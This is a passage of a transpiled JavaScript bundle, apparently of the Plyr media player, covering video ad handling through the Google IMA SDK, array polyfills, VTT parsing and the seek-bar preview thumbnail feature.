_this.player.on('seeked', function () {
var seekedTime = _this.player.currentTime;
if (is$1.empty(_this.cuePoints)) {
return;
}
_this.cuePoints.forEach(function (cuePoint, index) {
if (time < cuePoint && cuePoint < seekedTime) {
_this.manager.discardAdBreak();
_this.cuePoints.splice(index, 1);
}
});
}); // Listen to the resizing of the window. And resize ad accordingly
// TODO: eventually implement ResizeObserver
window.addEventListener('resize', function () {
if (_this.manager) {
_this.manager.resize(container.offsetWidth, container.offsetHeight, google.ima.ViewMode.NORMAL);
}
});
});
_defineProperty(this, "play", function () {
var container = _this.player.elements.container;
if (!_this.managerPromise) {
_this.resumeContent();
} // Play the requested advertisement whenever the adsManager is ready
_this.managerPromise.then(function () {
// Set volume to match player
_this.manager.setVolume(_this.player.volume); // Initialize the container. Must be done via a user action on mobile devices
_this.elements.displayContainer.initialize();
try {
if (!_this.initialized) {
// Initialize the ads manager. Ad rules playlist will start at this time
_this.manager.init(container.offsetWidth, container.offsetHeight, google.ima.ViewMode.NORMAL); // Call play to start showing the ad. Single video and overlay ads will
// start at this time; the call will be ignored for ad rules
_this.manager.start();
}
_this.initialized = true;
} catch (adError) {
// An error may be thrown if there was a problem with the
// VAST response
_this.onAdError(adError);
}
}).catch(function () {});
});
_defineProperty(this, "resumeContent", function () {
// Hide the advertisement container
_this.elements.container.style.zIndex = ''; // Ad is stopped
_this.playing = false; // Play video
silencePromise(_this.player.media.play());
});
_defineProperty(this, "pauseContent", function () {
// Show the advertisement container
_this.elements.container.style.zIndex = 3; // Ad is playing
_this.playing = true; // Pause our video.
_this.player.media.pause();
});
_defineProperty(this, "cancel", function () {
// Pause our video
if (_this.initialized) {
_this.resumeContent();
} // Tell our instance that we're done for now
_this.trigger('error'); // Re-create our adsManager
_this.loadAds();
});
_defineProperty(this, "loadAds", function () {
// Tell our adsManager to go bye bye
_this.managerPromise.then(function () {
// Destroy our adsManager
if (_this.manager) {
_this.manager.destroy();
} // Re-set our adsManager promises
_this.managerPromise = new Promise(function (resolve) {
_this.on('loaded', resolve);
_this.player.debug.log(_this.manager);
}); // Now that the manager has been destroyed set it to also be un-initialized
_this.initialized = false; // Now request some new advertisements
_this.requestAds();
}).catch(function () {});
});
_defineProperty(this, "trigger", function (event) {
for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
var handlers = _this.events[event];
if (is$1.array(handlers)) {
handlers.forEach(function (handler) {
if (is$1.function(handler)) {
handler.apply(_this, args);
}
});
}
});
_defineProperty(this, "on", function (event, callback) {
if (!is$1.array(_this.events[event])) {
_this.events[event] = [];
}
_this.events[event].push(callback);
return _this;
});
_defineProperty(this, "startSafetyTimer", function (time, from) {
_this.player.debug.log("Safety timer invoked from: ".concat(from));
_this.safetyTimer = setTimeout(function () {
_this.cancel();
_this.clearSafetyTimer('startSafetyTimer()');
}, time);
});
_defineProperty(this, "clearSafetyTimer", function (from) {
if (!is$1.nullOrUndefined(_this.safetyTimer)) {
_this.player.debug.log("Safety timer cleared from: ".concat(from));
clearTimeout(_this.safetyTimer);
_this.safetyTimer = null;
}
});
this.player = player;
this.config = player.config.ads;
this.playing = false;
this.initialized = false;
this.elements = {
container: null,
displayContainer: null
};
this.manager = null;
this.loader = null;
this.cuePoints = null;
this.events = {};
this.safetyTimer = null;
this.countdownTimer = null; // Setup a promise to resolve when the IMA manager is ready
this.managerPromise = new Promise(function (resolve, reject) {
// The ad is loaded and ready
_this.on('loaded', resolve); // Ads failed
_this.on('error', reject);
});
this.load();
}
_createClass(Ads, [{
key: "enabled",
get: function get() {
var config = this.config;
return this.player.isHTML5 && this.player.isVideo && config.enabled && (!is$1.empty(config.publisherId) || is$1.url(config.tagUrl));
}
/**
* Load the IMA SDK
*/
}, {
key: "tagUrl",
// Build the tag URL
get: function get() {
var config = this.config;
if (is$1.url(config.tagUrl)) {
return config.tagUrl;
}
var params = {
AV_PUBLISHERID: '58c25bb0073ef448b1087ad6',
AV_CHANNELID: '5a0458dc28a06145e4519d21',
AV_URL: window.location.hostname,
cb: Date.now(),
AV_WIDTH: 640,
AV_HEIGHT: 480,
AV_CDIM2: config.publisherId
};
var base = 'https://go.aniview.com/api/adserver6/vast/';
return "".concat(base, "?").concat(buildUrlParams(params));
}
/**
* In order for the SDK to display ads for our video, we need to tell it where to put them,
* so here we define our ad container. This div is set up to render on top of the video player.
* Using the code below, we tell the SDK to render ads within that div. We also provide a
* handle to the content video player - the SDK will poll the current time of our player to
* properly place mid-rolls. After we create the ad display container, we initialize it. On
* mobile devices, this initialization is done as the result of a user action.
*/
}]);
return Ads;
}();
var $findIndex = arrayIteration.findIndex;
var FIND_INDEX = 'findIndex';
var SKIPS_HOLES$1 = true;
var USES_TO_LENGTH$b = arrayMethodUsesToLength(FIND_INDEX);
// Shouldn't skip holes
if (FIND_INDEX in []) Array(1)[FIND_INDEX](function () { SKIPS_HOLES$1 = false; });
// `Array.prototype.findIndex` method
// https://tc39.github.io/ecma262/#sec-array.prototype.findindex
_export({ target: 'Array', proto: true, forced: SKIPS_HOLES$1 || !USES_TO_LENGTH$b }, {
findIndex: function findIndex(callbackfn /* , that = undefined */) {
return $findIndex(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables
addToUnscopables(FIND_INDEX);
var min$6 = Math.min;
var nativeLastIndexOf = [].lastIndexOf;
var NEGATIVE_ZERO$1 = !!nativeLastIndexOf && 1 / [1].lastIndexOf(1, -0) < 0;
var STRICT_METHOD$6 = arrayMethodIsStrict('lastIndexOf');
// For preventing possible almost infinite loop in non-standard implementations, test the forward version of the method
var USES_TO_LENGTH$c = arrayMethodUsesToLength('indexOf', { ACCESSORS: true, 1: 0 });
var FORCED$5 = NEGATIVE_ZERO$1 || !STRICT_METHOD$6 || !USES_TO_LENGTH$c;
// `Array.prototype.lastIndexOf` method implementation
// https://tc39.github.io/ecma262/#sec-array.prototype.lastindexof
var arrayLastIndexOf = FORCED$5 ? function lastIndexOf(searchElement /* , fromIndex = @[*-1] */) {
// convert -0 to +0
if (NEGATIVE_ZERO$1) return nativeLastIndexOf.apply(this, arguments) || 0;
var O = toIndexedObject(this);
var length = toLength(O.length);
var index = length - 1;
if (arguments.length > 1) index = min$6(index, toInteger(arguments[1]));
if (index < 0) index = length + index;
for (;index >= 0; index--) if (index in O && O[index] === searchElement) return index || 0;
return -1;
} : nativeLastIndexOf;
// `Array.prototype.lastIndexOf` method
// https://tc39.github.io/ecma262/#sec-array.prototype.lastindexof
_export({ target: 'Array', proto: true, forced: arrayLastIndexOf !== [].lastIndexOf }, {
lastIndexOf: arrayLastIndexOf
});
var parseVtt = function parseVtt(vttDataString) {
var processedList = [];
var frames = vttDataString.split(/\r\n\r\n|\n\n|\r\r/);
frames.forEach(function (frame) {
var result = {};
var lines = frame.split(/\r\n|\n|\r/);
lines.forEach(function (line) {
if (!is$1.number(result.startTime)) {
// The line with start and end times on it is the first line of interest
var matchTimes = line.match(/([0-9]{2})?:?([0-9]{2}):([0-9]{2}).([0-9]{2,3})( ?--> ?)([0-9]{2})?:?([0-9]{2}):([0-9]{2}).([0-9]{2,3})/); // Note that this currently ignores caption formatting directives that are optionally on the end of this line - fine for non-captions VTT
if (matchTimes) {
result.startTime = Number(matchTimes[1] || 0) * 60 * 60 + Number(matchTimes[2]) * 60 + Number(matchTimes[3]) + Number("0.".concat(matchTimes[4]));
result.endTime = Number(matchTimes[6] || 0) * 60 * 60 + Number(matchTimes[7]) * 60 + Number(matchTimes[8]) + Number("0.".concat(matchTimes[9]));
}
} else if (!is$1.empty(line.trim()) && is$1.empty(result.text)) {
// If we already have the startTime, then we're definitely up to the text line(s)
var lineSplit = line.trim().split('#xywh=');
var _lineSplit = _slicedToArray(lineSplit, 1);
result.text = _lineSplit[0];
// If there's content in lineSplit[1], then we have sprites. If not, then it's just one frame per image
if (lineSplit[1]) {
var _lineSplit$1$split = lineSplit[1].split(',');
var _lineSplit$1$split2 = _slicedToArray(_lineSplit$1$split, 4);
result.x = _lineSplit$1$split2[0];
result.y = _lineSplit$1$split2[1];
result.w = _lineSplit$1$split2[2];
result.h = _lineSplit$1$split2[3];
}
}
});
if (result.text) {
processedList.push(result);
}
});
return processedList;
};
/**
* Preview thumbnails for seek hover and scrubbing
* Seeking: Hover over the seek bar (desktop only): shows a small preview container above the seek bar
* Scrubbing: Click and drag the seek bar (desktop and mobile): shows the preview image over the entire video, as if the video is scrubbing at very high speed
*
* Notes:
* - Thumbs are set via JS settings on Plyr init, not HTML5 'track' property. Using the track property would be a bit gross, because it doesn't support custom 'kinds'. kind=metadata might be used for something else, and we want to allow multiple thumbnails tracks. Tracks must have a unique combination of 'kind' and 'label'. We would have to do something like kind=metadata,label=thumbnails1 / kind=metadata,label=thumbnails2. Square peg, round hole
* - VTT info: the image URL is relative to the VTT, not the current document. But if the url starts with a slash, it will naturally be relative to the current domain. https://support.jwplayer.com/articles/how-to-add-preview-thumbnails
* - This implementation uses multiple separate img elements. Other implementations use background-image on one element. This would be nice and simple, but Firefox and Safari have flickering issues with replacing backgrounds of larger images. It seems that YouTube perhaps only avoids this because they don't have the option for high-res previews (even the fullscreen ones, when mousedown/seeking). Images appear over the top of each other, and previous ones are discarded once the new ones have been rendered
*/
var fitRatio = function fitRatio(ratio, outer) {
var targetRatio = outer.width / outer.height;
var result = {};
if (ratio > targetRatio) {
result.width = outer.width;
result.height = 1 / ratio * outer.width;
} else {
result.height = outer.height;
result.width = ratio * outer.height;
}
return result;
};
var PreviewThumbnails = /*#__PURE__*/function () {
/**
* PreviewThumbnails constructor.
* @param {Plyr} player
* @return {PreviewThumbnails}
*/
function PreviewThumbnails(player) {
var _this = this;
_classCallCheck(this, PreviewThumbnails);
_defineProperty(this, "load", function () {
// Toggle the regular seek tooltip
if (_this.player.elements.display.seekTooltip) {
_this.player.elements.display.seekTooltip.hidden = _this.enabled;
}
if (!_this.enabled) {
return;
}
_this.getThumbnails().then(function () {
if (!_this.enabled) {
return;
} // Render DOM elements
_this.render(); // Check to see if thumb container size was specified manually in CSS
_this.determineContainerAutoSizing();
_this.loaded = true;
});
});
_defineProperty(this, "getThumbnails", function () {
return new Promise(function (resolve) {
var src = _this.player.config.previewThumbnails.src;
if (is$1.empty(src)) {
throw new Error('Missing previewThumbnails.src config attribute');
} // Resolve promise
var sortAndResolve = function sortAndResolve() {
// Sort smallest to biggest (e.g., [120p, 480p, 1080p])
_this.thumbnails.sort(function (x, y) {
return x.height - y.height;
});
_this.player.debug.log('Preview thumbnails', _this.thumbnails);
resolve();
}; // Via callback()
if (is$1.function(src)) {
src(function (thumbnails) {
_this.thumbnails = thumbnails;
sortAndResolve();
});
} // VTT urls
else {
// If string, convert into single-element list
var urls = is$1.string(src) ? [src] : src; // Loop through each src URL. Download and process the VTT file, storing the resulting data in this.thumbnails
var promises = urls.map(function (u) {
return _this.getThumbnail(u);
}); // Resolve
Promise.all(promises).then(sortAndResolve);
}
});
});
_defineProperty(this, "getThumbnail", function (url) {
return new Promise(function (resolve) {
fetch(url).then(function (response) {
var thumbnail = {
frames: parseVtt(response),
height: null,
urlPrefix: ''
}; // If the URLs don't start with '/', then we need to set their relative path to be the location of the VTT file
// If the URLs do start with '/', then they obviously don't need a prefix, so it will remain blank
// If the thumbnail URLs start with with none of '/', 'http://' or 'https://', then we need to set their relative path to be the location of the VTT file
if (!thumbnail.frames[0].text.startsWith('/') && !thumbnail.frames[0].text.startsWith('http://') && !thumbnail.frames[0].text.startsWith('https://')) {
thumbnail.urlPrefix = url.substring(0, url.lastIndexOf('/') + 1);
} // Download the first frame, so that we can determine/set the height of this thumbnailsDef
var tempImage = new Image();
tempImage.onload = function () {
thumbnail.height = tempImage.naturalHeight;
thumbnail.width = tempImage.naturalWidth;
_this.thumbnails.push(thumbnail);
resolve();
};
tempImage.src = thumbnail.urlPrefix + thumbnail.frames[0].text;
});
});
});
_defineProperty(this, "startMove", function (event) {
if (!_this.loaded) {
return;
}
if (!is$1.event(event) || !['touchmove', 'mousemove'].includes(event.type)) {
return;
} // Wait until media has a duration
if (!_this.player.media.duration) {
return;
}
if (event.type === 'touchmove') {
// Calculate seek hover position as approx video seconds
_this.seekTime = _this.player.media.duration * (_this.player.elements.inputs.seek.value / 100);
} else {
// Calculate seek hover position as approx video seconds
var clientRect = _this.player.elements.progress.getBoundingClientRect();
var percentage = 100 / clientRect.width * (event.pageX - clientRect.left);
_this.seekTime = _this.player.media.duration * (percentage / 100);
if (_this.seekTime < 0) {
// The mousemove fires for 10+px out to the left
_this.seekTime = 0;
}
if (_this.seekTime > _this.player.media.duration - 1) {
// Took 1 second off the duration for safety, because different players can disagree on the real duration of a video
_this.seekTime = _this.player.media.duration - 1;
}
_this.mousePosX = event.pageX; // Set time text inside image container
_this.elements.thumb.time.innerText = formatTime(_this.seekTime);
} // Download and show image
_this.showImageAtCurrentTime();
});
_defineProperty(this, "endMove", function () {
_this.toggleThumbContainer(false, true);
});
_defineProperty(this, "startScrubbing", function (event) {
// Only act on left mouse button (0), or touch device (event.button does not exist or is false)
if (is$1.nullOrUndefined(event.button) || event.button === false || event.button === 0) {
_this.mouseDown = true; // Wait until media has a duration
if (_this.player.media.duration) {
_this.toggleScrubbingContainer(true);
_this.toggleThumbContainer(false, true); // Download and show image
_this.showImageAtCurrentTime();
}
}
});
_defineProperty(this, "endScrubbing", function () {
_this.mouseDown = false; // Hide scrubbing preview. But wait until the video has successfully seeked before hiding the scrubbing preview
if (Math.ceil(_this.lastTime) === Math.ceil(_this.player.media.currentTime)) {
// The video was already seeked/loaded at the chosen time - hide immediately
_this.toggleScrubbingContainer(false);
} else {
// The video hasn't seeked yet. Wait for that
once.call(_this.player, _this.player.media, 'timeupdate', function () {
// Re-check mousedown - we might have already started scrubbing again
if (!_this.mouseDown) {
_this.toggleScrubbingContainer(false);
}
});
}
});
_defineProperty(this, "listeners", function () {
// Hide thumbnail preview - on mouse click, mouse leave (in listeners.js for now), and video play/seek. All four are required, e.g., for buffering
_this.player.on('play', function () {
_this.toggleThumbContainer(false, true);
});
_this.player.on('seeked', function () {
_this.toggleThumbContainer(false);
});
_this.player.on('timeupdate', function () {
_this.lastTime = _this.player.media.currentTime;
});
});
_defineProperty(this, "render", function () {
// Create HTML element: plyr__preview-thumbnail-container
_this.elements.thumb.container = createElement('div', {
class: _this.player.config.classNames.previewThumbnails.thumbContainer
}); // Wrapper for the image for styling
_this.elements.thumb.imageContainer = createElement('div', {
class: _this.player.config.classNames.previewThumbnails.imageContainer
});
_this.elements.thumb.container.appendChild(_this.elements.thumb.imageContainer); // Create HTML element, parent+span: time text (e.g., 01:32:00)
var timeContainer = createElement('div', {
class: _this.player.config.classNames.previewThumbnails.timeContainer
});
_this.elements.thumb.time = createElement('span', {}, '00:00');
timeContainer.appendChild(_this.elements.thumb.time);
_this.elements.thumb.container.appendChild(timeContainer); // Inject the whole thumb
if (is$1.element(_this.player.elements.progress)) {
_this.player.elements.progress.appendChild(_this.elements.thumb.container);
} // Create HTML element: plyr__preview-scrubbing-container
_this.elements.scrubbing.container = createElement('div', {
class: _this.player.config.classNames.previewThumbnails.scrubbingContainer
});
_this.player.elements.wrapper.appendChild(_this.elements.scrubbing.container);
});
_defineProperty(this, "destroy", function () {
if (_this.elements.thumb.container) {
_this.elements.thumb.container.remove();
}
if (_this.elements.scrubbing.container) {
_this.elements.scrubbing.container.remove();
}
});
_defineProperty(this, "showImageAtCurrentTime", function () {
if (_this.mouseDown) {
_this.setScrubbingContainerSize();
} else {
_this.setThumbContainerSizeAndPos();
} // Find the desired thumbnail index
// TODO: Handle a video longer than the thumbs where thumbNum is null
var thumbNum = _this.thumbnails[0].frames.findIndex(function (frame) {
return _this.seekTime >= frame.startTime && _this.seekTime <= frame.endTime;
});
var hasThumb = thumbNum >= 0;
var qualityIndex = 0; // Show the thumb container if we're not scrubbing
if (!_this.mouseDown) {
_this.toggleThumbContainer(hasThumb);
} // No matching thumb found
if (!hasThumb) {
return;
} // Check to see if we've already downloaded higher quality versions of this image
_this.thumbnails.forEach(function (thumbnail, index) {
if (_this.loadedImages.includes(thumbnail.frames[thumbNum].text)) {
qualityIndex = index;
}
}); // Only proceed if either thumbnum or thumbfilename has changed
if (thumbNum !== _this.showingThumb) {
_this.showingThumb = thumbNum;
_this.loadImage(qualityIndex);
}
});
_defineProperty(this, "loadImage", function () {
var qualityIndex = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
var thumbNum = _this.showingThumb;
var thumbnail = _this.thumbnails[qualityIndex];
var urlPrefix = thumbnail.urlPrefix;
var frame = thumbnail.frames[thumbNum];
var thumbFilename = thumbnail.frames[thumbNum].text;
var thumbUrl = urlPrefix + thumbFilename;
if (!_this.currentImageElement || _this.currentImageElement.dataset.filename !== thumbFilename) {
// If we're already loading a previous image, remove its onload handler - we don't want it to load after this one
// Only do this if not using sprites. Without sprites we really want to show as many images as possible, as a best-effort
if (_this.loadingImage && _this.usingSprites) {
_this.loadingImage.onload = null;
} // We're building and adding a new image. In other implementations of similar functionality (YouTube), background image
// is instead used. But this causes issues with larger images in Firefox and Safari - switching between background
// images causes a flicker. Putting a new image over the top does not
var previewImage = new Image();
previewImage.src = thumbUrl;
previewImage.dataset.index = thumbNum;
previewImage.dataset.filename = thumbFilename;
_this.showingThumbFilename = thumbFilename;
_this.player.debug.log("Loading image: ".concat(thumbUrl)); // For some reason, passing the named function directly causes it to execute immediately. So I've wrapped it in an anonymous function...
previewImage.onload = function () {
return _this.showImage(previewImage, frame, qualityIndex, thumbNum, thumbFilename, true);
};
_this.loadingImage = previewImage;
_this.removeOldImages(previewImage);
} else {
// Update the existing image
_this.showImage(_this.currentImageElement, frame, qualityIndex, thumbNum, thumbFilename, false);
_this.currentImageElement.dataset.index = thumbNum;
_this.removeOldImages(_this.currentImageElement);
}
});
_defineProperty(this, "showImage", function (previewImage, frame, qualityIndex, thumbNum, thumbFilename) {
var newImage = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : true;
_this.player.debug.log("Showing thumb: ".concat(thumbFilename, ". num: ").concat(thumbNum, ". qual: ").concat(qualityIndex, ". newimg: ").concat(newImage));
_this.setImageSizeAndOffset(previewImage, frame);
if (newImage) {
_this.currentImageContainer.appendChild(previewImage);
_this.currentImageElement = previewImage;
if (!_this.loadedImages.includes(thumbFilename)) {
_this.loadedImages.push(thumbFilename);
}
} // Preload images before and after the current one
// Show higher quality of the same frame
// Each step here has a short time delay, and only continues if still hovering/seeking the same spot. This is to protect slow connections from overloading
_this.preloadNearby(thumbNum, true).then(_this.preloadNearby(thumbNum, false)).then(_this.getHigherQuality(qualityIndex, previewImage, frame, thumbFilename));
});
_defineProperty(this, "removeOldImages", function (currentImage) {
// Get a list of all images, convert it from a DOM list to an array
Array.from(_this.currentImageContainer.children).forEach(function (image) {
if (image.tagName.toLowerCase() !== 'img') {
return;
}
var removeDelay = _this.usingSprites ? 500 : 1000;
if (image.dataset.index !== currentImage.dataset.index && !image.dataset.deleting) {
// Wait 200ms, as the new image can take some time to show on certain browsers (even though it was downloaded before showing). This will prevent flicker, and show some generosity towards slower clients
// First set attribute 'deleting' to prevent multi-handling of this on repeat firing of this function
// eslint-disable-next-line no-param-reassign
image.dataset.deleting = true; // This has to be set before the timeout - to prevent issues switching between hover and scrub
var currentImageContainer = _this.currentImageContainer;
setTimeout(function () {
currentImageContainer.removeChild(image);
_this.player.debug.log("Removing thumb: ".concat(image.dataset.filename));
}, removeDelay);
}
});
});
_defineProperty(this, "preloadNearby", function (thumbNum) {
var forward = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true;
return new Promise(function (resolve) {
setTimeout(function () {
var oldThumbFilename = _this.thumbnails[0].frames[thumbNum].text;
if (_this.showingThumbFilename === oldThumbFilename) {
// Find the nearest thumbs with different filenames. Sometimes it'll be the next index, but in the case of sprites, it might be 100+ away
var thumbnailsClone;
if (forward) {
thumbnailsClone = _this.thumbnails[0].frames.slice(thumbNum);
} else {
thumbnailsClone = _this.thumbnails[0].frames.slice(0, thumbNum).reverse();
}
var foundOne = false;
thumbnailsClone.forEach(function (frame) {
var newThumbFilename = frame.text;
if (newThumbFilename !== oldThumbFilename) {
// Found one with a different filename. Make sure it hasn't already been loaded on this page visit
if (!_this.loadedImages.includes(newThumbFilename)) {
foundOne = true;
_this.player.debug.log("Preloading thumb filename: ".concat(newThumbFilename));
var urlPrefix = _this.thumbnails[0].urlPrefix;
var thumbURL = urlPrefix + newThumbFilename;
var previewImage = new Image();
previewImage.src = thumbURL;
previewImage.onload = function () {
_this.player.debug.log("Preloaded thumb filename: ".concat(newThumbFilename));
if (!_this.loadedImages.includes(newThumbFilename)) _this.loadedImages.push(newThumbFilename); // We don't resolve until the thumb is loaded
resolve();
};
}
}
}); // If there are none to preload then we want to resolve immediately
if (!foundOne) {
resolve();
}
}
}, 300);
});
});
_defineProperty(this, "getHigherQuality", function (currentQualityIndex, previewImage, frame, thumbFilename) {
if (currentQualityIndex < _this.thumbnails.length - 1) {
// Only use the higher quality version if it's going to look any better - if the current thumb is of a lower pixel density than the thumbnail container
var previewImageHeight = previewImage.naturalHeight;
if (_this.usingSprites) {
previewImageHeight = frame.h;
}
if (previewImageHeight < _this.thumbContainerHeight) {
// Recurse back to the loadImage function - show a higher quality one, but only if the viewer is on this frame for a while
setTimeout(function () {
// Make sure the mouse hasn't already moved on and started hovering at another image
if (_this.showingThumbFilename === thumbFilename) {
_this.player.debug.log("Showing higher quality thumb for: ".concat(thumbFilename));
_this.loadImage(currentQualityIndex + 1);
}
}, 300);
}
}
});
_defineProperty(this, "toggleThumbContainer", function () {
var toggle = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var clearShowing = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
var className = _this.player.config.classNames.previewThumbnails.thumbContainerShown;
_this.elements.thumb.container.classList.toggle(className, toggle);
if (!toggle && clearShowing) {
_this.showingThumb = null;
_this.showingThumbFilename = null;
}
});
_defineProperty(this, "toggleScrubbingContainer", function () {
var toggle = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var className = _this.player.config.classNames.previewThumbnails.scrubbingContainerShown;
_this.elements.scrubbing.container.classList.toggle(className, toggle);
if (!toggle) {
_this.showingThumb = null;
_this.showingThumbFilename = null;
}
});
_defineProperty(this, "determineContainerAutoSizing", function () {
if (_this.elements.thumb.imageContainer.clientHeight > 20 || _this.elements.thumb.imageContainer.clientWidth > 20) {
// This will prevent auto sizing in this.setThumbContainerSizeAndPos()
_this.sizeSpecifiedInCSS = true;
}
});
_defineProperty(this, "setThumbContainerSizeAndPos", function () {
if (!_this.sizeSpecifiedInCSS) {
var thumbWidth = Math.floor(_this.thumbContainerHeight * _this.thumbAspectRatio);
_this.elements.thumb.imageContainer.style.height = "".concat(_this.thumbContainerHeight, "px");
_this.elements.thumb.imageContainer.style.width = "".concat(thumbWidth, "px");
} else if (_this.elements.thumb.imageContainer.clientHeight > 20 && _this.elements.thumb.imageContainer.clientWidth < 20) {
var _thumbWidth = Math.floor(_this.elements.thumb.imageContainer.clientHeight * _this.thumbAspectRatio);
_this.elements.thumb.imageContainer.style.width = "".concat(_thumbWidth, "px");
} else if (_this.elements.thumb.imageContainer.clientHeight < 20 && _this.elements.thumb.imageContainer.clientWidth > 20) {
var thumbHeight = Math.floor(_this.elements.thumb.imageContainer.clientWidth / _this.thumbAspectRatio);
_this.elements.thumb.imageContainer.style.height = "".concat(thumbHeight, "px");
}
_this.setThumbContainerPos();
});
_defineProperty(this, "setThumbContainerPos", function () {
var seekbarRect = _this.player.elements.progress.getBoundingClientRect();
var plyrRect = _this.player.elements.container.getBoundingClientRect();
var container = _this.elements.thumb.container; // Find the lowest and highest desired left-position, so we don't slide out the side of the video container
var minVal = plyrRect.left - seekbarRect.left + 10;
var maxVal = plyrRect.right - seekbarRect.left - container.clientWidth - 10; // Set preview container position to: mousepos, minus seekbar.left, minus half of previewContainer.clientWidth
var previewPos = _this.mousePosX - seekbarRect.left - container.clientWidth / 2;
if (previewPos < minVal) {
previewPos = minVal;
}
if (previewPos > maxVal) {
previewPos = maxVal;
}
container.style.left = "".concat(previewPos, "px");
});
_defineProperty(this, "setScrubbingContainerSize", function () {
var _fitRatio = fitRatio(_this.thumbAspectRatio, {
width: _this.player.media.clientWidth,
height: _this.player.media.clientHeight
}),
width = _fitRatio.width,
height = _fitRatio.height;
_this.elements.scrubbing.container.style.width = "".concat(width, "px");
_this.elements.scrubbing.container.style.height = "".concat(height, "px");
});
_defineProperty(this, "setImageSizeAndOffset", function (previewImage, frame) {
if (!_this.usingSprites) {
return;
} // Find difference between height and preview container height
var multiplier = _this.thumbContainerHeight / frame.h; // eslint-disable-next-line no-param-reassign
previewImage.style.height = "".concat(previewImage.naturalHeight * multiplier, "px"); // eslint-disable-next-line no-param-reassign
previewImage.style.width = "".concat(previewImage.naturalWidth * multiplier, "px"); // eslint-disable-next-line no-param-reassign
previewImage.style.left = "-".concat(frame.x * multiplier, "px"); // eslint-disable-next-line no-param-reassign
previewImage.style.top = "-".concat(frame.y * multiplier, "px");
});
this.player = player;
this.thumbnails = [];
this.loaded = false;
this.lastMouseMoveTime = Date.now();
this.mouseDown = false;
this.loadedImages = [];
this.elements = {
thumb: {},
scrubbing: {}
};
this.load();
}
_createClass(PreviewThumbnails, [{
key: "enabled",
get: function get() {
return this.player.isHTML5 && this.player.isVideo && this.player.config.previewThumbnails.enabled;
}
}, {
key: "currentImageContainer",
get: function get() {
if (this.mouseDown) {
return this.elements.scrubbing.container;
}
return this.elements.thumb.imageContainer;
}
}, {
key: "usingSprites",
get: function get() {
return Object.keys(this.thumbnails[0].frames[0]).includes('w');
}
}, {
key: "thumbAspectRatio",
get: function get() {
if (this.usingSprites) {
return this.thumbnails[0].frames[0].w / this.thumbnails[0].frames[0].h;
}
return this.thumbnails[0].width / this.thumbnails[0].height;
}
}, {
key: "thumbContainerHeight",
get: function get() {
if (this.mouseDown) {
var _fitRatio2 = fitRatio(this.thumbAspectRatio, {
width: this.player.media.clientWidth,
height: this.player.media.clientHeight
}),
height = _fitRatio2.height;
return height;
} // If css is used this needs to return the css height for sprites to work (see setImageSizeAndOffset)
if (this.sizeSpecifiedInCSS) {
return this.elements.thumb.imageContainer.clientHeight;
}
return Math.floor(this.player.media.clientWidth / this.thumbAspectRatio / 4);
}
}, {
key: "currentImageElement",
get: function get() {
if (this.mouseDown) {
return this.currentScrubbingImageElement;
}
return this.currentThumbnailImageElement;
},
set: function set(element) {
if (this.mouseDown) {
this.currentScrubbingImageElement = element;
} else {
this.currentThumbnailImageElement = element;
}
}
}]);
return PreviewThumbnails;
}();
var source = {
// Add elements to HTML5 media (source, tracks, etc)
insertElements: function insertElements(type, attributes) {
var _this = this;
if (is$1.string(attributes)) {
insertElement(type, this.media, {
src: attributes
});
} else if (is$1.array(attributes)) {
attributes.forEach(function (attribute) {
insertElement(type, _this.media, attribute);
});
}
},
// Update source
// Sources are not checked for support so be careful
change: function change(input) {
var _this2 = this;
if (!getDeep(input, 'sources.length')) {
this.debug.warn('Invalid source format');
return;
} // Cancel current network requests
html5.cancelRequests.call(this); // Destroy instance and re-setup
this.destroy.call(this, function () {
// Reset quality options
_this2.options.quality = []; // Remove elements
removeElement(_this2.media);
_this2.media = null; // Reset class name
if (is$1.element(_this2.elements.container)) {
_this2.elements.container.removeAttribute('class');
} // Set the type and provider
var sources = input.sources,
type = input.type;
var _sources = _slicedToArray(sources, 1),
_sources$ = _sources[0],
_sources$$provider = _sources$.provider,
provider = _sources$$provider === void 0 ? providers.html5 : _sources$$provider,
src = _sources$.src;
var tagName = provider === 'html5' ? type : 'div';
var attributes = provider === 'html5' ? {} : {
src: src
};
Object.assign(_this2, {
provider: provider,
type: type,
// Check for support
supported: support.check(type, provider, _this2.config.playsinline),
// Create new element
media: createElement(tagName, attributes)
}); // Inject the new element
_this2.elements.container.appendChild(_this2.media); // Autoplay the new source?
if (is$1.boolean(input.autoplay)) {
_this2.config.autoplay = input.autoplay;
} // Set attributes for audio and video
if (_this2.isHTML5) {
if (_this2.config.crossorigin) {
_this2.media.setAttribute('crossorigin', '');
}
if (_this2.config.autoplay) {
_this2.media.setAttribute('autoplay', '');
}
if (!is$1.empty(input.poster)) {
_this2.poster = input.poster;
}
if (_this2.config.loop.active) {
_this2.media.setAttribute('loop', '');
}
if (_this2.config.muted) {
_this2.media.setAttribute('muted', '');
}
if (_this2.config.playsinline) {
_this2.media.setAttribute('playsinline', '');
}
} // Restore class hook
ui.addStyleHook.call(_this2); // Set new sources for html5
if (_this2.isHTML5) {
source.insertElements.call(_this2, 'source', sources);
} // Set video title
_this2.config.title = input.title; // Set up from scratch
media.setup.call(_this2); // HTML5 stuff
if (_this2.isHTML5) {
// Setup captions
if (Object.keys(input).includes('tracks')) {
source.insertElements.call(_this2, 'track', input.tracks);
}
} // If HTML5 or embed but not fully supported, setupInterface and call ready now
if (_this2.isHTML5 || _this2.isEmbed && !_this2.supported.ui) {
// Setup interface
ui.build.call(_this2);
} // Load HTML5 sources
if (_this2.isHTML5) {
_this2.media.load();
} // Update previewThumbnails config & reload plugin
if (!is$1.empty(input.previewThumbnails)) {
Object.assign(_this2.config.previewThumbnails, input.previewThumbnails); // Cleanup previewThumbnails plugin if it was loaded
if (_this2.previewThumbnails && _this2.previewThumbnails.loaded) {
_this2.previewThumbnails.destroy();
_this2.previewThumbnails = null;
} // Create new instance if it is still enabled
if (_this2.config.previewThumbnails.enabled) {
_this2.previewThumbnails = new PreviewThumbnails(_this2);
}
} // Update the fullscreen support
